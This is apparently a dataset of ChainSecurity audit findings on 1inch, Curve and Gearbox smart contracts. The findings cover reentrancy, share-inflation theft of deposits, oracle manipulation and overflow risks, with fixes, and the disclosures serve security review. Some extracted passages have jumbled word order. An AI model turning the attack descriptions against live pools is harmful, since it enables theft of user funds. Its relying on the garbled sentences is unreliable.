to register delegatees do not emit an event, hence for an observer it`s hard to track new delegatees. Two events RegisterDelegatee and DefaultFarmSet have been added, and are emitted resp. when a new delegatee registers, and when a default farm is added. 1inch - Delegation - 12 SecurityLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-delegation/"}, {"title": "7.1 Users Must Add Farm if Default Farm Is", "body": " Updated The deployed DelegatedShare contracts may not have a farm associated with them directly. If a farm is added later on, the users must either re-delegate or manually add the farm Pod on the DelegatedShare contract themselves. possible using It's DelegatedShare.remove/removeAll() but still keep delegating to this delegatee. Users must be careful and understand the consequences of their actions. remove himself default from farm user the for an to 1inch - Delegation - 13 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-delegation/"}, {"title": "5.1 Certain Inputs Unchecked in Constructor", "body": " When new fees are committed through the commit_new_fee function they are checked against the respective maximum values to prevent mistakes. However, when the fees are initially set inside the constructor no such check is performed. Hence, initial fees might be outside the permitted value range. Similarly, when the amplification factor is changed through ramping, it's value range is checked. However, during the constructor this check for the amplification factor does not take place. Risk accepted: As deployment is a rare event and as deployed contracts will be checked by the development team, there is no immediate need to add these checks. An incorrect contract can be \"killed\". ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-finance-curve-eth-seth/"}, {"title": "5.2 Ramping Down Might Incentivize Delayed", "body": " Liquidity While the amplification factor is ramping down in an imbalanced pool, liquidity providers have an incentive to wait before providing extra liquidity. This is because they will receive more liquidity tokens in the future for the same liquidity. In the extreme case of a maximally sharp ramp down and a very imbalanced pool, waiting for ten minutes provides roughly 0.14% additional liquidity tokens. However, this only holds as long as no further fees are accumulated during this time and as long as no re-balancing takes place inside the pool and hence constitutes a fairly unlikely scenario. Curve.Finance - Curve ETH/sETH - 9 SecurityDesignCorrectnessCriticalHighMediumLowRiskAcceptedRiskAcceptedSecurityLowVersion1RiskAcceptedDesignLowVersion1RiskAccepted \fRisk accepted: As mentioned above this only applies for very sharp ramps. As the DAO will control the parameter of these ramps, the DAO can also ensure that the sharpness is low enough to avoid any issues. Curve.Finance - Curve ETH/sETH - 10 \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings -Severity Findings Reentrancies -Severity Findings Redundant Use of RATES and PRECISION _xp and _xp_mem Redundant Array Access get_D Should Handle the Case of Non-convergence ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-finance-curve-eth-seth/"}, {"title": "6.1 Reentrancies", "body": " 0 0 1 3 1. During the execution of remove_liquidity and remove_liquidity_imbalance multiple asset transfers are made. One of these assets is ETH, while the others are ERC-20 tokens. The transfer of ETH can lead to the following reentrancy. Through the transfer of ETH, the execution might reenter the contract and call donate_admin_fees. Note that this requires owner privileges. Inside donate_admin_fees, the internal balances mapping for the ERC-20 tokens will be updated as follows: self.balances[i] = ERC20(coin).balanceOf(self) This assignment is incorrect in this context as the contract still holds the tokens that are about to be transferred due is complete: self.balances[i] > ERC20(coin).balanceOf(self). This breaks an important invariant in the contract. liquidity. Hence, after transaction removed the the to 2. During the call to withdraw_admin_fees an ETH transfer takes place. The transfer of ETH can lead to the following reentrancy. Through the transfer of ETH, the execution might reenter the contract and call donate_admin_fees. Note that this requires owner privileges, but these were already needed for withdraw_admin_fees. As a result, the admin fees for some of the coins will be donated while the admin fees for other coins will be withdrawn, leading to a state that is only reachable through a reentrancy. 3. Certain admin functions have no reentrancy protection. Hence, they can be called in a reentrancy from any of the functions that transfers ETH. However, for those reentrancies the only effects are incorrectly ordered events. As an example, a NewFee event could be emitted in between multiple events belonging to a remove_liquidity call. Code corrected: Additional Reentrancy Guards were added. These now also cover the functions donate_admin_fees and apply_new_fee among others. Curve.Finance - Curve ETH/sETH - 11 CriticalHighMediumCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedSecurityMediumVersion1CodeCorrected \f6.2 Redundant Use of RATES and PRECISION RATES is a constant vector containing in all cells the value 10**18. PRECISION is a constant of value 10**18. There are cases, such as in exchange, where the value of a cell of RATES is divided by PRECISION. This division is redundant. rates: uint256[N_COINS] = RATES # Both multiplication with rates[i] and division with PRECISION can be avoided x: uint256 = xp[i] + dx * rates[i] / PRECISION The code was changed accordingly to remove the redundancies and to save gas. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-finance-curve-eth-seth/"}, {"title": "6.3 _xp and _xp_mem Redundant Array Access", "body": " In both _xp and _xp_mem the array results is initialized with the array RATES. However, results later ends up equal to self.balance. This is because of the multiplication (with result[i]) and a redundant division (with LENDING_PRECISION). Note, that RATES equals to LENDING_PRECISION for all i. In the general case this code is useful, however for this token pair, it provides no additional value. RATES and LENDING_PRECISION are constants, the gas overhead is fairly low. result: uint256[N_COINS] = RATES for i in range(N_COINS): result[i] = result[i] * self.balances[i] / LENDING_PRECISION return result The code was changed accordingly to remove the redundancy and to save gas. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-finance-curve-eth-seth/"}, {"title": "6.4 get_D Should Handle the Case of", "body": " Non-convergence The calculation of the invariant D is limited to 255 steps. If there is no convergence then a wrong invariant is returned. The invariant is used to mint liquidity provider tokens. Thus, incorrect number of tokens can be minted. For the case of non-convergence, a verification step of the computed solution could be added. Code corrected: The new implementation reverts in case of non-convergence. This ensures that no faulty results are used for further computation. Curve.Finance - Curve ETH/sETH - 12 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-finance-curve-eth-seth/"}, {"title": "7.1 Content of Events", "body": " The events RemoveLiquidityImbalance and AddLiquidity contain the value D1 which represents the intermediate calculation of the invariant. Including D2 might be more helpful. The event RemoveLiquidityOne does not include the information which coin was removed from liquidity. That might be relevant information. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-finance-curve-eth-seth/"}, {"title": "7.2 Fee Avoidance", "body": " It is theoretically possible to avoid fee payments completely by repeatedly exchanging, adding or removing such small amounts that fees are zero due to arithmetic errors. This results in a loss of fees for both fees will be overcompensated by the additional gas costs. Hence, such a scenario would only be realistic in the context of Zero-Gasprice Transactions. liquidity providers and admins. However, in almost all cases the saved ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-finance-curve-eth-seth/"}, {"title": "7.3 Incentive to Remove Liquidity", "body": " There might be an incentive for liquidity providers to remove liquidity while the amplification factor is ramped down. In case of a really imbalanced pool and a very rapid ramping down of the amplification factor, the following sequence might leave the liquidity provider with more liquidity tokens that they started with: 1. Remove liquidity by withdrawing only the non-scarce asset 2. Wait for the ramping to continue 3. Re-add the removed asset to regain liquidity tokens In case of a very imbalanced pool and a sharp ramp, the liquidity provider could end up with 0.14% more liquidity tokens than they started with by waiting just ten minutes in step 2. This, however, only works if no other transactions take place inside the pool. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-finance-curve-eth-seth/"}, {"title": "7.4 Inefficiencies When Removing Single Coin", "body": " When removing just a single coin from the pool liquidity, the remove_liquidity_one_coin function can be used. However, the remove_liquidity_imbalance function and just setting all values except for the desired one to zero. In our limited experiments, the biggest difference occurred when remove_liquidity_imbalance provided 0.00008% additionally withdrawn assets. in certain cases less efficient than using function this is Curve.Finance - Curve ETH/sETH - 13 NoteVersion2NoteVersion1NoteVersion1NoteVersion1 \fis the difference Hence, the remove_liquidity_one_coin function is generally expected to have lower gas costs. Finally, it is functions as fee important remove_liquidity_one_coin will coin, while remove_liquidity_one_coin will pay a roughly equivalent amount of fees in all coins. two the for the withdrawn is different in structure only and mostly Furthermore, negligible. to note small fees very that pay the Curve.Finance - Curve ETH/sETH - 14 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-finance-curve-eth-seth/"}, {"title": "5.1 Inefficient Defaulting to _newton_y", "body": " The analytical solution implemented in get_y defaults back to the iterative _newton_y in the following situation: CS-TRICRYPTO-NG-001 if sqrt_arg > 0: sqrt_val = convert(isqrt(convert(sqrt_arg, uint256)), int256) else: return [self._newton_y(_ANN, _gamma, x, _D, i), 0] However, this means that the _newton_y starts over from scratch and has to recalculate everything from the initial values. Instead, a new method could be written that uses the existing values for a, b, c, and d which calculates K0 using Newton's method to solve the equation: 0 + cK0 + d = 0 0 + bK 2 aK 3 Then, the value for y could be determined from this result. This way, the get_y function can return a useful value for K0 instead of just defaulting to 0. This value can then be used as an initial guess for the next call to newton_D, saving further gas in the future. Acknowledged: Defaulting to _newton_y() is rare when running the new code on historic tricrypto data, so Curve accepts the risk of incurring more gas costs in rare edge cases. Curve - tricrypto-ng - 12 SecurityDesignCorrectnessCriticalHighMediumLowAcknowledgedCodePartiallyCorrectedRiskAcceptedDesignLowVersion1Acknowledged \f5.2 Typo in Event, Unused Variables Event UpdatePoolImplementation first argument called _implementtion_id. Field token in struct PoolArray of CurveTricryptoFactory is unused. Argument calc_price of _calc_withdraw_one_coin() is unused. in CurveTricryptoFactory has CS-TRICRYPTO-NG-002 Code partially corrected: The token field of the PoolArray struct was removed. The calc_price argument was removed from the _calc_withdraw_one_coin() function. The first argument of the UpdatePoolImplementation event was changed to _implemention_id, which is still spelled incorrectly. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-tricrypto-ng/"}, {"title": "5.3 CREATE in Pool Deployment Could Reuse", "body": " Addresses on Different Chains If the address of the pool factory is the same on two blockchains, then the deployment addresses of pools will match on different chains, even if the pool parameters are different (different coins). This can result in user mistakes or scam attempts. CS-TRICRYPTO-NG-003 Risk accepted: Curve accepts the risk of pool contracts on different chains having the same address. Curve - tricrypto-ng - 13 DesignLowVersion1CodePartiallyCorrectedSecurityLowVersion1RiskAccepted \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. 0 1 5 10 -Severity Findings -Severity Findings Loss of Precision in get_p() for Some Values of A -Severity Findings First Depositor Can Manipulate the Share Value to Steal Future Deposits Safety Parameters Differ Between Factory, Swap, and Math Contract Simpler Price Calculations Unsafe Operations _log2() Returns Incorrect Results -Severity Findings Admin Can Set Unsafe Parameters Through commit_new_parameters() Fee on remove_liquidity_one_coin() Is Computed on Initial Balance Incomplete Validation of Coins in Factory Initial Value K0_prev Recalculated Needlessly Magic Number 10000 Used Instead of Constant A_MULTIPLIER Math Implementation Cannot Be Upgraded in the Factory No Getter for Length of Markets List in Factory Pool Registered Twice in the Markets List for Each Key Possible Precision Loss in get_y Redundant Asserts in Call to _newton_y() ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-tricrypto-ng/"}, {"title": "6.1 Loss of Precision in get_p() for Some Values", "body": " of A Line 851 of CurveCryptoMathOptimized3.vy performs a division of ANN by 10000: CS-TRICRYPTO-NG-014 unsafe_div(ANN, 10000) Value ANN ranges from 2700 to 270000000. The division can incur a substantial loss of precision that affects the return value of get_p(). With ANN = 1707629, the current USDT/WBTC/WETH A value, a price error of close to 1% is returned by get_p() Curve - tricrypto-ng - 14 CriticalHighCodeCorrectedMediumCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedLowSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCorrectnessHighVersion1CodeCorrected \f The order of operation has been modified so that the division by 10000 is performed when the denominator has sufficient precision. The relative loss of precision on the c coefficient is now at most of 1e-5. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-tricrypto-ng/"}, {"title": "6.2 First Depositor Can Manipulate the Share", "body": " Value to Steal Future Deposits A malicious user can mint a single wei of shares before any deposit exists, then increase the price of the single share through a direct transfer to the pool followed by calling claim_admin_fees(), which sweeps unaccounted tokens and recomputes D. The next depositors will suffer severe rounding errors on the number of shares they receive. The shares distributed for the next deposits are calculated according to CS-TRICRYPTO-NG-004 d_token = token_supply * D / old_D - token_supply ... d_token -= 1 Since token_supply will be 1, if D is between 2*old_D and 3*old_D, the tokens received by the victim will round down to zero, but their deposit will still be transferred to the pool. old_D is under complete control of the attacker, who can steal legitimate deposits by investing half of the deposit value. The share value manipulation was enabled by being able to call claim_admin_fees() to increase significantly the value of single shares, when the total supply is low. claim_admin_fees() now will not gulp tokens when the total supply is below 10**18. This makes the attack unfeasible, while not affecting general operation, since the total supply in normal conditions will be in the order of magnitude of the D parameter, which is between 10**17 (generally more) and 10**33. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-tricrypto-ng/"}, {"title": "6.3 Safety Parameters Differ Between Factory,", "body": " Swap, and Math Contract CS-TRICRYPTO-NG-016 Safety bounds on pools parameters are different in the factory and the math contract. Some are more restrictive in the factory: 1. MAX_GAMMA is 2*10**16 in the factory and swap, and 5*10**16 in MATH 2. MIN_A is 27000 in the factory and 2700 in MATH and swap Some are less restrictive in the factory, which may lead to the deployment of invalid pools: 1. MAX_A is 27*10**9 in the factory, but 27*10**7 in MATH and swap Curve - tricrypto-ng - 15 SecurityMediumVersion1CodeCorrectedDesignMediumVersion1CodeCorrected \f 1. MAX_GAMMA is 5*10**16 across all contracts. 2. MIN_A is 2700 across all contracts. 3. MAX_A is 27 * 10**7 across all contracts. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-tricrypto-ng/"}, {"title": "6.4 Simpler Price Calculations", "body": " The derivation of the price calculations leads to more expensive calculations than necessary. The gas costs of the get_p can be greatly reduced by simplifying the formula for the price. For example, by defining the value G as follows: The formula for the price of y with respect to x becomes: G \u22c5 K0 = 2K0 3 \u2212 K0 2(2\u03b3 + 3) + (\u03b3 + 1)2 CS-TRICRYPTO-NG-017 An efficient implementation of this formula can reduce the costs of the price calculation by around 66%. py = x y \u22c5 G \u22c5 K0 + N NA\u03b32K0 G \u22c5 K0 + N NA\u03b32K0 y D x D The suggested formula was implemented in get_p. The _snekmate_mul_div function was removed as it was no longer used. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-tricrypto-ng/"}, {"title": "6.5 Unsafe Operations", "body": " Some multiplications in the get_y function are performed using unsafe_mul. However, several of these can potentially overflow: 1. The following multiplication in the calculation of b can overflow: CS-TRICRYPTO-NG-019 unsafe_mul(unsafe_mul(unsafe_div(D**2, x_j), gamma**2), ANN) For example with the following values: D=10**33, x_j=10**31, gamma=5*10**16, ANN=2.7*10**8 In this case, the result is greater than 2**255 and hence overflows the int256 type. The outermost unsafe_mul, where the second factor is ANN, which could cause an overflow, has been replaced with a safe multiplication. 2. This multiplication occurs when calculating delta1: unsafe_mul(9, a * c) Curve - tricrypto-ng - 16 DesignMediumVersion1CodeCorrectedCorrectnessMediumVersion1CodeCorrected \fIt can overflow when 2**255 / 9 < a*c < 2**255 / 3. Previously, only the multiplication of 3a * c is done using overflow checks. The expression is now evaluated as 3 * (unsafe_mul(3, a) * c), which is safe. 3. Again in the calculation of delta1: unsafe_mul(27, a**2) This can overflow when a**2 is close to 2^255, but not greater. For example, this can occur when b is very close to zero. The expression has been replaced with 27 * a**2, which is safe. 4. Lastly, the following multiplication in the calculation of sqrt_arg could potentially overflow when delta0**2 is close to 2^255: unsafe_mul(4, delta0**2) The expression has been replaced with 4 * delta0**2, which is safe. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-tricrypto-ng/"}, {"title": "6.6 _log2() Returns Incorrect Results", "body": " Results of function _log2() in CurveCryptoMathOptimized3 are off by one. CS-TRICRYPTO-NG-009 Example: In [2]: math.log2_(2**1) Out[2]: 0 In [3]: math.log2_(2**2) Out[3]: 1 In [4]: math.log2_(2**130) Out[4]: 129 In [5]: math.log2_(2**255) Out[5]: 254 In [6]: math.log2_(2**256-1) Out[6]: 254 The only values for which a correct result is produced are x = 0, and x in [2**128, 2**129-1] In [7]: math.log2_(2**0) Out[7]: 0 In [8]: math.log2_(2**128) Curve - tricrypto-ng - 17 CorrectnessMediumVersion1CodeCorrected \fOut[8]: 128 In [9]: math.log2_(2**129-1) Out[9]: 128 The custom _log2() implementation has been replaced with Snekmate log_2(). The new implementation is correct, except for the value of log2(0), which evaluates to 0 but which ought to be undefined. In the context where _snekmate_log_2() is used, which is evaluation of the cube root, returning 0 for log2(0) leads to the correct result. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-tricrypto-ng/"}, {"title": "6.7 Admin Can Set Unsafe Parameters Through ", "body": " commit_new_parameters() The same bounds are not applied when setting parameters at commit_new_parameters(). CS-TRICRYPTO-NG-005 initialization or with mid_fee can be set down to 0 through commit_new_parameters(), but must be at least MIN_FEE in deploy_pool(). allowed_extra_profit can be set commit_new_parameters(), but it can be at most 10**16 with deploy_pool(). to values between 10**16 and 10**18 through Specification changed: The MIN_FEE check has been allowed_extra_profit has been increased from 10**16 to 10**18 removed from the factory. Max value for parameter ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-tricrypto-ng/"}, {"title": "6.8 Fee on remove_liquidity_one_coin() Is", "body": " Computed on Initial Balance The fee for remove_liquidity_one_coin() is computed in _calc_withdraw_one_coin() at line 1349 as CS-TRICRYPTO-NG-015 fee: uint256 = self._fee(xp) At this point, xp is still the unchanged balance of the pool. Removing liquidity with one coin from a perfectly balanced pool, and making it unbalanced, will ask for mid_fee. Making an unbalanced pool balanced by removing liquidity will ask for out_fee. This is the opposite of what should happen. Curve - tricrypto-ng - 18 DesignLowVersion1Speci\ufb01cationChangedCorrectnessLowVersion1CodeCorrected \fA rough but gas inexpensive calculation of the resulting balance is performed, for the purpose of calculating the fee. The fee calculation is not exact but more accurate than in the previous version. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-tricrypto-ng/"}, {"title": "6.9 Incomplete Validation of Coins in Factory", "body": " Coins in a pool shouldn't be duplicated, the following line in CurveTricryptoFactory.vy asserts it: CS-TRICRYPTO-NG-008 assert _coins[0] != _coins[1] and _coins[1] != _coins[2], \"Duplicate coins\" However, the case where coins[0] == coins[2] is not covered. Therefore, a pool could be deployed with the same coin listed twice. The missing check has been included. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-tricrypto-ng/"}, {"title": "6.10 Initial Value K0_prev Recalculated", "body": " Needlessly The value K0_prev is used to compute an initial value for newton_D(). In _exchange(), K0_prev is first computed during the call to MATH.get_y(), but is discarded and the same value is recomputed a few lines later in MATH.get_K0_prev(). This is unnecessary since the same value is returned during both calls. The method get_K0_prev() of CurveCryptoMathOptimized3 is redundant. CS-TRICRYPTO-NG-018 The K0_prev value obtained from MATH.get_y() is now used. The get_K0_prev function was removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-tricrypto-ng/"}, {"title": "6.11 Magic Number 10000 Used Instead of", "body": " Constant A_MULTIPLIER Despite the constant A_MULTIPLIER being defined, code in CurveCryptoMathOptimized3.vy at lines 737, 766, 835, 851 uses the magic number 10000 directly. CS-TRICRYPTO-NG-010 Curve - tricrypto-ng - 19 SecurityLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fThe magic numbers have been replaced with the constant. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-tricrypto-ng/"}, {"title": "6.12 Math Implementation Cannot Be Upgraded in", "body": " the Factory New pool implementations can be deployed in the factory, but the math implementation can't be changed. The event UpdatePoolImplementation is unused. A new pool implementation using another math contract could still be added to the factory, by changing the hardcoded value of the math contract in the pool implementation's constructor, instead of receiving it from the factory. CS-TRICRYPTO-NG-011 Function set_math_implementation has been introduced in the factory so that the admin can change the math implementations of newly deployed pools. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-tricrypto-ng/"}, {"title": "6.13 No Getter for Length of Markets List in", "body": " Factory Private variable self.market_counts does not have a getter. The only way to know how many pools have been deployed for a coin pair is to iterate find_pool_for_coins() until a zero value is returned. CS-TRICRYPTO-NG-012 Public function get_market_counts has been introduced to return the market count for a token couple. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-tricrypto-ng/"}, {"title": "6.14 Pool Registered Twice in the Markets List for", "body": " Each Key The following logic includes pools in the self.markets[key] list of the factory: CS-TRICRYPTO-NG-013 for coin_a in _coins: for coin_b in _coins: if coin_a == coin_b: continue key: uint256 = ( convert(coin_a, uint256) ^ convert(coin_b, uint256) Curve - tricrypto-ng - 20 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \f length = self.market_counts[key] self.markets[key][length] = pool self.market_counts[key] = length + 1 Each coin pair is iterated twice, first as (A,B) and then as (B,A). The keys for the two pairs are the same. As a consequence, each pool is included twice for a certain key. The code has been refactored so that the three token couples are now individually added. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-tricrypto-ng/"}, {"title": "6.15 Possible Precision Loss in get_y", "body": " In the get_y function, additional precision is added conditionally: CS-TRICRYPTO-NG-007 d0: int256 = abs(unsafe_mul(3, a) * c / b - b) # <------------ a is smol. divider: int256 = 0 if d0 > 10**48: divider = 10**30 elif d0 > 10**44: divider = 10**26 elif d0 > 10**40: divider = 10**22 elif d0 > 10**36: divider = 10**18 elif d0 > 10**32: divider = 10**14 elif d0 > 10**28: divider = 10**10 elif d0 > 10**24: divider = 10**6 elif d0 > 10**20: divider = 10**2 else: divider = 1 additional_prec: int256 = 0 if abs(a) > abs(b): additional_prec = abs(unsafe_div(a, b)) a = unsafe_div(unsafe_mul(a, additional_prec), divider) b = unsafe_div(b * additional_prec, divider) c = unsafe_div(c * additional_prec, divider) d = unsafe_div(d * additional_prec, divider) else: additional_prec = abs(unsafe_div(b, a)) a = unsafe_div(unsafe_mul(a, additional_prec), divider) b = unsafe_div(b * additional_prec, divider) c = unsafe_div(c * additional_prec, divider) d = unsafe_div(d * additional_prec, divider) Curve - tricrypto-ng - 21 DesignLowVersion1CodeCorrected \fHowever, there are some cases where divider > additional_prec and a precision loss occurs instead. For example, when b \u00bb a, divider can still be as large as 10**18, but additional_prec will be 1. Therefore, up to 18 decimals are removed from a, b, c and d, resulting in a precision loss. It should be considered whether it is necessary to adjust the decimals in the case where divider > additional_prec. The additional precision calculations were incorrect in the original version. The else branch has been updated to the following: else: additional_prec = abs(unsafe_div(b, a)) a = unsafe_div(a / additional_prec, divider) b = unsafe_div(unsafe_div(b, additional_prec), divider) c = unsafe_div(unsafe_div(c, additional_prec), divider) d = unsafe_div(unsafe_div(d, additional_prec), divider) Curve also provided an explanation for the precision adjustment: The idea behind this is that a is always high-precision constant 10**36 / 27 while b, c, and d may have excessive or insufficient precision, so we compare b to a and add or remove precision via additional_prec. But we should also take into account not only difference between a and other coefficients, but their value by themselves (10**36 precision will lead to overflow if coin values are overflow. The reduce high), divider > additional_prec case is fine unless it produces vulnerability. use divider precision so we avoid and to ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-tricrypto-ng/"}, {"title": "6.16 Redundant Asserts in Call to _newton_y()", "body": " The arguments of get_y() are checked to be in a reasonable range through the following asserts: # Safety checks assert _ANN > MIN_A - 1 and _ANN < MAX_A + 1, \"dev: unsafe values A\" assert _gamma > MIN_GAMMA - 1 and _gamma < MAX_GAMMA + 1, \"dev: unsafe values gamma\" assert _D > 10**17 - 1 and _D < 10**15 * 10**18 + 1, \"dev: unsafe values D\" CS-TRICRYPTO-NG-006 The same checks are duplicated when entering the internal function _newton_y(), which is only called in the body of get_y() The redundant asserts were removed from _newton_y(). Curve - tricrypto-ng - 22 DesignLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-tricrypto-ng/"}, {"title": "7.1 Funds Could Be Transferred Before Callback", "body": " When using exchange_extended(), a callback to the caller is executed to transfer the inbound exchange amount. The callback is executed before the outgoing tokens are received by the user. Executing the callback after the outgoing tokens have been received would allow more flexible use cases, by acting as a flashloan. Curve - tricrypto-ng - 23 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-tricrypto-ng/"}, {"title": "6.1 Curve Price Oracle Manipulation", "body": " When estimating the value of a Curve LP token, get_virtual_price() is queried which describes the value increase through fees since the pool was created. The function may return a manipulated value for some pools where transfers have callbacks or other callbacks to users are made (e.g. ETH, ERC677, ERC223, ERC777, ...) as the state of the pool may be inconsistent during the callback. Due to the limiter of the Pricefeed which enforces that the price remains within a certain bound, Gearbox is largely protected hence the low severity rating. Nevertheless, the manipulated state of the Curve pool could be detected (at this point the pool's reentrancy lock is set) by the pricefeed. Curve is aware of this issue and new pools are no longer affected. Existing pools however remain vulnerable. This issue is currently being addressed and affects various integrations. As of today not all have been fixed hence please treat this issue confidential for the time being. Full public disclosure is expected to be released soon. Gearbox Protocol responded as follows: Due to the LP price limiters, the attacker cannot practically inflate the asset value more than 2% of its real value. This discrepancy can be included in the asset's LT - the LT represents the maximal asset price drop during the liquidation period, but is not dependent on whether this price drop comes from actual market conditions, or price manipulation within a bound known in advance. Gearbox Protocol - Gearbox V2 - 13 SecurityDesignCorrectnessCriticalHighMediumLowAcknowledgedCodePartiallyCorrectedSecurityLowVersion1Acknowledged \f6.2 Enable Supported Token on Any CreditAccount CreditFacade.addCollateral() allows anyone to deposit funds on behalf of another credit account owner. Using this function has a different effect compared to simply transferring the funds to the credit account directly: It additionally enables the token for this credit account. This may be a risk factor: If there is ever a bad token supported by a CreditManager, this immediately affects all CreditAccounts of this CreditManager. Users are not safe when they don't hold the affected token. Code partially corrected: CreditFacade.addCollateral() is now only allowed for users for which are authorized in the transferAllowed mapping. Gearbox Protocol notes: This change should address an attacker sending a bad token to other users in order to break health factor calculation. However, there still remains a narrow vector whereas a token that was already on Credit Account is broken and reverts on balanceOf() (for example, stETH and SNX use proxies, and can be potentially changed to a broken implementation contract). Currently, this is not addressed, however, should this transpire, CreditFacade could be quickly updated to ignore this token (or error-handle) in calcTotalValue(), which would allow to liquidate affected positions. Gearbox Protocol - Gearbox V2 - 14 SecurityLowVersion1CodePartiallyCorrected \f7 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. 0 0 3 22 -Severity Findings -Severity Findings -Severity Findings Multicall Actions During Pauses Pricefeed of Oracle May Be Updated Unable to Handle Missing Return Value -Severity Findings CumulativeDrop Calculation Rounding twvUSD Contains Value in Underlying Free Flashloan upon Open/Close Adapters Ignore User Input Add Token Without Liquidation Threshold Checking for Valid Token Indices for Curve Pools Is Too Loose Credit Accounts Give Very High Approval to Contract CreditAccount Calls approve() on Unsupported Token Curve Registry CurveV1 Adapters: TokenOut Might Not Be Enabled at CreditAccount Duplicate Error Code Used Incorrect Comment After Refactoring Incorrect Descriptions Outdated Function Description PriceOracle: Unused Timestamp Read-only Reentrancy Redundant Event Emission Redundant Initialization Reentrancy Into CreditFacade Sanity Check of New Pricefeed Unused allowedContractsSet YearnV2Adapter: Different Behavior of Functions Gearbox Protocol - Gearbox V2 - 15 CriticalHighMediumCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedAcknowledgedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrected \f7.1 Multicall Actions During Pauses During a liquidation, the liquidator can call CreditFacade._multicall. When this happens, the ownership of the credit account is temporarily passed to the CreditFacade to allow it to properly interact with the adapters. By using this feature, liquidators can swap tokens of the credit account to the underlying and, thus, they don't have to supply the underlying by themselves. This is a useful feature for any liquidator, even for the emergency ones. During pauses, however, the functionality of the credit manager is limited. One of the limitations is that CreditManager.transferAccountOwnership fails. This means that the liquidators cannot make any calls to the adapters. The CreditManager now allows multiple calls to be made while the system is paused as long as the call is related to an emergency liquidation (whenNotPausedOrEmergency). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2/"}, {"title": "7.2 Pricefeed of Oracle May Be Updated", "body": " PriceOracle._addPriceFeed() is annotated with /// @dev Sets price feed if it doesn't exist. If price feed is already set, it changes nothing /// This logic is done to protect Gearbox from priceOracle attack /// when potential attacker can get access to price oracle, change them to fraud ones /// and then liquidate all funds The function does not enforce this, a second call to this function allows to update the pricefeed for the token. Specification changed: The description was erroneous and it was intended for the function to update the existing price feed. The description was updated to reflect that. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2/"}, {"title": "7.3 Unable to Handle Missing Return Value", "body": " to Gearbox V1 safeApprove() has been replaced by approve() function Compared CreditAccount.approveToken. The interface inherited expects a boolean return value as defined in the 